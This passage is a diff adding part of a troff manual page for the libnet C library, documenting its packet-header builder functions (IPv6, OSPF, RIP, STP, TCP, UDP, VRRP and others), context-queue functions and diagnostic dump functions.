+.SS "libnet_ptag_t libnet_build_ipv6_frag (u_int8_t nh, u_int8_t reserved, u_int16_t frag, u_int32_t id, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a version 6 RFC 2460 Internet Protocol (IP) fragmentation header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fInh\fP next header
+.br
+\fIreserved\fP unused value... OR IS IT!
+.br
+\fIfrag\fP fragmentation bits (ala ipv4)
+.br
+\fIid\fP packet identification
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipv6_hbhopts (u_int8_t nh, u_int8_t len, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a version 6 RFC 2460 Internet Protocol (IP) hop by hop options header. This function is special in that it uses the payload interface to include the options data. The application programmer will build an IPv6 hop by hop options byte string and pass it to the function using the payload interface.
+.PP
+\fBParameters:\fP
+.RS 4
+\fInh\fP next header
+.br
+\fIlen\fP length of the header in 8-byte octets not including the first 8 octets
+.br
+\fIpayload\fP options payload
+.br
+\fIpayload_s\fP payload length
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipv6_routing (u_int8_t nh, u_int8_t len, u_int8_t rtype, u_int8_t segments, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a version 6 RFC 2460 Internet Protocol (IP) routing header. This function is special in that it uses the payload interface to include the 'type-specific data'; that is the routing information. Most often this will be a number of 128-bit IPv6 addresses. The application programmer will build a byte string of IPv6 address and pass them to the function using the payload interface.
+.PP
+\fBParameters:\fP
+.RS 4
+\fInh\fP next header
+.br
+\fIlen\fP length of the header in 8-byte octets not including the first 8 octets routing header type
+.br
+\fIsegments\fP number of routing segments that follow
+.br
+\fIpayload\fP optional payload of routing information
+.br
+\fIpayload_s\fP payload length
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_isl (u_int8_t * dhost, u_int8_t type, u_int8_t user, u_int8_t * shost, u_int16_t len, u_int8_t * snap, u_int16_t vid, u_int16_t index, u_int16_t reserved, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a Cisco Inter-Switch Link (ISL) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdhost\fP destination address (should be 01:00:0c:00:00)
+.br
+\fItype\fP type of frame
+.br
+\fIuser\fP user defined data
+.br
+\fIshost\fP source mac address
+.br
+\fIlen\fP total length of the encapuslated packet less 18 bytes
+.br
+\fIsnap\fP SNAP information (0xaaaa03 + vendor code)
+.br
+\fIvid\fP 15 bit VLAN ID, 1 bit BPDU or CDP indicator
+.br
+\fIindex\fP port index
+.br
+\fIreserved\fP used for FDDI and token ring
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_link (u_int8_t * dst, u_int8_t * src, u_int8_t * oui, u_int16_t type, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a link layer header for an initialized l. The function determines the proper link layer header format from how l was initialized. The function current supports Ethernet and Token Ring link layers.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdst\fP the destination MAC address
+.br
+\fIsrc\fP the source MAC address
+.br
+\fIoui\fP Organizationally Unique Identifier (unused for Ethernet)
+.br
+\fItype\fP the upper layer protocol type
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_mpls (u_int32_t label, u_int8_t experimental, u_int8_t bos, u_int8_t ttl, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 3032 Multi-Protocol Label Switching (MPLS) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIlabel\fP 20-bit label value
+.br
+\fIexperimental\fP 3-bit reserved field
+.br
+\fIbos\fP 1-bit bottom of stack identifier
+.br
+\fIttl\fP time to live
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ntp (u_int8_t leap_indicator, u_int8_t version, u_int8_t mode, u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int, u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac, u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac, u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int, u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 958 Network Time Protocol (NTP) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIleap_indicator\fP the leap indicator
+.br
+\fIversion\fP NTP protocol version
+.br
+\fImode\fP NTP mode
+.br
+\fIstratum\fP stratum
+.br
+\fIpoll\fP polling interval
+.br
+\fIprecision\fP precision
+.br
+\fIdelay_interval\fP delay interval
+.br
+\fIdelay_frac\fP delay fraction
+.br
+\fIdispersion_int\fP dispersion interval
+.br
+\fIdispersion_frac\fP dispersion fraction
+.br
+\fIreference_id\fP reference id
+.br
+\fIref_ts_int\fP reference timestamp integer
+.br
+\fIref_ts_frac\fP reference timestamp fraction
+.br
+\fIorig_ts_int\fP original timestamp integer
+.br
+\fIorig_ts_frac\fP original timestamp fraction
+.br
+\fIrec_ts_int\fP receiver timestamp integer
+.br
+\fIrec_ts_frac\fP reciever timestamp fraction
+.br
+\fIxmt_ts_int\fP transmit timestamp integer
+.br
+\fIxmt_ts_frac\fP transmit timestamp integer
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2 (u_int16_t len, u_int8_t type, u_int32_t rtr_id, u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_dbd (u_int16_t dgram_len, u_int8_t opts, u_int8_t type, u_int seqnum, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_hello (u_int32_t netmask, u_int16_t interval, u_int8_t opts, u_int8_t priority, u_int dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr, u_int32_t neighbor, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_lsa (u_int16_t age, u_int8_t opts, u_int8_t type, u_int lsid, u_int32_t advrtr, u_int seqnum, u_int16_t sum, u_int16_t len, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_lsa_as (u_int32_t nmask, u_int metric, u_int32_t fwdaddr, u_int tag, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_lsa_net (u_int32_t nmask, u_int rtrid, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_lsa_rtr (u_int16_t flags, u_int16_t num, u_int id, u_int data, u_int8_t type, u_int8_t tos, u_int16_t metric, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_lsa_sum (u_int32_t nmask, u_int metric, u_int tos, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_lsr (u_int type, u_int lsid, u_int32_t advrtr, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ospfv2_lsu (u_int num, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_rip (u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af, u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop, u_int32_t metric, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a Routing Information Protocol header (RFCs 1058 and 2453).
+.PP
+\fBParameters:\fP
+.RS 4
+\fIcmd\fP command
+.br
+\fIversion\fP protocol version
+.br
+\fIrd\fP version one: 0, version two: routing domain
+.br
+\fIaf\fP address family
+.br
+\fIrt\fP version one: 0, version two: route tag
+.br
+\fIaddr\fP IPv4 address
+.br
+\fImask\fP version one: 0, version two: subnet mask
+.br
+\fInext_hop\fP version one: 0, version two: next hop address
+.br
+\fImetric\fP routing metric
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_rpc_call (u_int32_t rm, u_int32_t xid, u_int32_t prog_num, u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength, u_int8_t * cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t * vdata, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an Remote Procedure Call (Version 2) Call message header as specified in RFC 1831. This builder provides the option for specifying the record marking which is required when used with streaming protocols (TCP).
+.PP
+\fBParameters:\fP
+.RS 4
+\fIrm\fP record marking indicating the position in a stream, 0 otherwise
+.br
+\fIxid\fP transaction identifier used to link calls and replies
+.br
+\fIprog_num\fP remote program specification typically between 0 - 1fffffff
+.br
+\fIprog_vers\fP remote program version specification
+.br
+\fIprocedure\fP procedure to be performed by remote program
+.br
+\fIcflavor\fP authentication credential type
+.br
+\fIclength\fP credential length (should be 0)
+.br
+\fIcdata\fP opaque credential data (currently unused)
+.br
+\fIvflavor\fP authentication verifier type
+.br
+\fIvlength\fP verifier length (should be 0)
+.br
+\fIvdata\fP opaque verifier data (currently unused)
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_sebek (u_int32_t magic, u_int16_t version, u_int16_t type, u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid, u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a Sebek header. The Sebek protocol was designed by the Honeynet Project as a transport mechanism for post-intrusion forensic data. More information may be found here: http://www.honeynet.org/papers/sebek.pdf.
+.PP
+\fBParameters:\fP
+.RS 4
+\fImagic\fP identify packets that should be hidden
+.br
+\fIversion\fP protocol version, currently 1
+.br
+\fItype\fP type of record (read data is type 0, write data is type 1)
+.br
+\fIcounter\fP PDU counter used to identify when packet are lost
+.br
+\fItime_sec\fP seconds since EPOCH according to the honeypot
+.br
+\fItime_usec\fP residual microseconds
+.br
+\fIpid\fP PID
+.br
+\fIuid\fP UID
+.br
+\fIfd\fP FD
+.br
+\fIcmd[SEBEK_CMD_LENGTH]\fP 12 first characters of the command
+.br
+\fIlength\fP length in bytes of the PDU's body
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_stp_conf (u_int16_t id, u_int8_t version, u_int8_t bpdu_type, u_int8_t flags, u_int8_t * root_id, u_int32_t root_pc, u_int8_t * bridge_id, u_int16_t port_id, u_int16_t message_age, u_int16_t max_age, u_int16_t hello_time, u_int16_t f_delay, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IEEE 802.1d Spanning Tree Protocol (STP) configuration header. STP frames are usually encapsulated inside of an 802.2 + 802.3 frame combination.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIid\fP protocol id
+.br
+\fIversion\fP protocol version
+.br
+\fIbpdu_type\fP bridge protocol data unit type
+.br
+\fIflags\fP flags
+.br
+\fIroot_id\fP root id
+.br
+\fIroot_pc\fP root path cost
+.br
+\fIbridge_id\fP bridge id
+.br
+\fIport_id\fP port id
+.br
+\fImessage_age\fP message age
+.br
+\fImax_age\fP max age
+.br
+\fIhello_time\fP hello time
+.br
+\fIf_delay\fP forward delay
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_stp_tcn (u_int16_t id, u_int8_t version, u_int8_t bpdu_type, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IEEE 802.1d Spanning Tree Protocol (STP) topology change notification header. STP frames are usually encapsulated inside of an 802.2 + 802.3 frame combination.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIid\fP protocol id
+.br
+\fIversion\fP protocol version
+.br
+\fIbpdu_type\fP bridge protocol data unit type
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_tcp (u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack, u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 793 Transmission Control Protocol (TCP) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIsp\fP source port
+.br
+\fIdp\fP destination port
+.br
+\fIseq\fP sequence number
+.br
+\fIack\fP acknowledgement number
+.br
+\fIcontrol\fP control flags
+.br
+\fIwin\fP window size
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIurg\fP urgent pointer len total length of the TCP packet (for checksum calculation)
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_tcp_options (u_int8_t * options, u_int32_t options_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 793 Transmission Control Protocol (TCP) options header. The function expects options to be a valid TCP options string of size options_s, which is no larger than 40 bytes (the maximum size of an options string). The function checks to ensure that the packet consists of a TCP header preceded by an IPv4 header, and that the addition of the options string would not result in a packet larger than 65,535 bytes (IPMAXPACKET). The function counts up the number of 32-bit words in the options string and adjusts the TCP header length value as necessary.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIoptions\fP byte string of TCP options
+.br
+\fIoptions_s\fP length of options string
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_token_ring (u_int8_t ac, u_int8_t fc, u_int8_t * dst, u_int8_t * src, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t * org, u_int16_t type, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a token ring header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIac\fP access control
+.br
+\fIfc\fP frame control
+.br
+\fIdst\fP destination address
+.br
+\fIsrc\fP source address
+.br
+\fIdsap\fP destination service access point
+.br
+\fIssap\fP source service access point
+.br
+\fIcf\fP control field
+.br
+\fIoui\fP Organizationally Unique Identifier
+.br
+\fItype\fP upper layer protocol type
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_udp (u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 768 User Datagram Protocol (UDP) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIsp\fP source port
+.br
+\fIdp\fP destination port
+.br
+\fIlen\fP total length of the UDP packet
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_vrrp (u_int8_t version, u_int8_t type, u_int8_t vrouter_id, u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int, u_int16_t sum, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 2338 Virtual Router Redundacy Protool (VRRP) header. Use the payload interface to specify address and autthentication information. To build a 'legal' packet, the destination IPv4 address should be the multicast * address 224.0.0.18, the IP TTL should be set to 255, and the IP protocol should be set to 112.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIversion\fP VRRP version (should be 2)
+.br
+\fItype\fP VRRP packet type (should be 1 -- ADVERTISEMENT)
+.br
+\fIvrouter_id\fP virtual router identification
+.br
+\fIpriority\fP priority (higher numbers indicate higher priority)
+.br
+\fIip_count\fP number of IPv4 addresses contained in this advertisement
+.br
+\fIauth_type\fP type of authentication (0, 1, 2 -- see RFC)
+.br
+\fIadvert_int\fP interval between advertisements
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "void libnet_clear_packet (libnet_t * l)"
+.PP
+Clears the current packet referenced and frees all pblocks. Should be called when the programmer want to send a completely new packet of a different type using the same context.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+
+.SS "int libnet_cq_add (libnet_t * l, char * label)"
+.PP
+[Context Queue] Adds a new context to the libnet context queue. If no queue exists, this function will create the queue and add the specified libnet context as the first entry on the list. The functions checks to ensure niether l nor label are NULL, and that label doesn't refer to an existing context already in the queue. Additionally, l should refer to a libnet context previously initialized with a call to \fBlibnet_init()\fP. If the context queue in write locked, this function will fail.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIlabel\fP a canonical name given to recognize the new context, no longer than LIBNET_LABEL_SIZE
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "void libnet_cq_destroy ()"
+.PP
+[Context Queue] Destroys the entire context queue, calling \fBlibnet_destroy()\fP on each member context.
+.SS "libnet_t* libnet_cq_find_by_label (char * label)"
+.PP
+[Context Queue] Locates a libnet context from the queue, indexed by a canonical label.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIlabel\fP canonical label of the libnet context to retrieve
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the expected libnet context, NULL on failure
+.RE
+.PP
+
+.SS "int8_t* libnet_cq_getlabel (libnet_t * l)"
+.PP
+[Context Queue] Returns the canonical label associated with the context.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+pointer to the libnet context's label
+.RE
+.PP
+
+.SS "libnet_t* libnet_cq_head ()"
+.PP
+[Context Queue] Intiailizes the interator interface and set a write lock on the entire queue. This function is intended to be called just prior to interating through the entire list of contexts (with the probable intent of inject a series of packets in rapid succession). This function is often used as per the following:
+.PP
+for (l = \fBlibnet_cq_head()\fP; \fBlibnet_cq_last()\fP; l = \fBlibnet_cq_next()\fP) { ... }
+.PP
+Much of the time, the application programmer will use the iterator as it is written above; as such, libnet provides a macro to do exactly that, \fBfor_each_context_in_cq(l)\fP. Warning: do not call the iterator more than once in a single loop.
+.PP
+\fBReturns:\fP
+.RS 4
+the head of the context queue
+.RE
+.PP
+
+.SS "int libnet_cq_last ()"
+.PP
+[Context Queue] Check whether the iterator is at the last context in the queue.
+.PP
+\fBReturns:\fP
+.RS 4
+1 if at the end of the context queue, 0 otherwise
+.RE
+.PP
+
+.SS "libnet_t* libnet_cq_next ()"
+.PP
+[Context Queue] Get next context from the context queue. the next context from the context queue
+.SS "libnet_t* libnet_cq_remove (libnet_t * l)"
+.PP
+[Context Queue] Removes a specified context from the libnet context queue by specifying the libnet context pointer. Note the function will remove the specified context from the context queue and cleanup internal memory from the queue, it is up to the application programmer to free the returned libnet context with a call to \fBlibnet_destroy()\fP. Also, as it is not necessary to keep the libnet context pointer when initially adding it to the context queue, most application programmers will prefer to refer to entries on the context queue by canonical name and would use \fBlibnet_cq_remove_by_label()\fP. If the context queue is write locked, this function will fail.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the pointer to the removed libnet context, NULL on failure
+.RE
+.PP
+
+.SS "libnet_t* libnet_cq_remove_by_label (char * label)"
+.PP
+[Context Queue] Removes a specified context from the libnet context queue by specifying the canonical name. Note the function will remove the specified context from the context queue and cleanup internal memory from the queue, it is up to the application programmer to free the returned libnet context with a call to \fBlibnet_destroy()\fP. If the context queue is write locked, this function will fail.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIlabel\fP canonical name of the context to remove
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the pointer to the removed libnet context, NULL on failure
+.RE
+.PP
+
+.SS "u_int32_t libnet_cq_size ()"
+.PP
+[Context Queue] Function returns the number of libnet contexts that are in the queue.
+.PP
+\fBReturns:\fP
+.RS 4
+the number of libnet contexts currently in the queue
+.RE
+.PP
+
+.SS "void libnet_destroy (libnet_t * l)"
+.PP
+Shuts down the libnet session referenced by l. It closes the network interface and frees all internal memory structures associated with l.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+
+.SS "void libnet_diag_dump_context (libnet_t * l)"
+.PP
+[Diagnostic] Prints the contents of the given context.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+
+.SS "void libnet_diag_dump_hex (u_int8_t * packet, u_int32_t len, int swap, FILE * stream)"
+.PP
+[Diagnostic] Function prints the contents of the supplied buffer to the supplied stream pointer. Will swap endianness based disposition of mode variable. Useful to be used in conjunction with the advanced interface and a culled packet.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpacket\fP the packet to print
+.br
+\fIlen\fP length of the packet in bytes
+.br
+\fIswap\fP 1 to swap byte order, 0 to not
+.br
+\fIstream\fP a stream pointer to print to
+.RE
+.PP
+
+.SS "void libnet_diag_dump_pblock (libnet_t * l)"
+.PP
+[Diagnostic] Prints the contents of every pblock.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
